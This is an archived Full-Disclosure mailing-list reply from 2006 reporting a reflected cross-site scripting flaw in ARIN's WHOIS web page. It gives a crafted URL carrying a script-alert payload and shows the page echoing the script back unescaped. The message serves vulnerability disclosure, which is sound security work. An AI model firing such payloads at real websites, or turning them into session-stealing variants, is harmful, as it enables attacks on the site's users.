[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
Re: [Full-disclosure] Arin.net XSS
- To: full-disclosure@xxxxxxxxxxxxxxxxx
- Subject: Re: [Full-disclosure] Arin.net XSS
- From: Michael Holstein <michael.holstein@xxxxxxxxxxx>
- Date: Fri, 03 Mar 2006 16:50:20 -0500
Here's a link that will probably work under both browsers
http://ws.arin.net/whois/?queryinput=%3Cscript%3Ealert('666')%3C/script%3E
(Firefox 1.5.0.1 on Linux)
No match found for <script>alert('666')</script>.
# ARIN WHOIS database, last updated 2006-03-02 19:10
# Enter ? for additional hints on searching ARIN's WHOIS database.
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/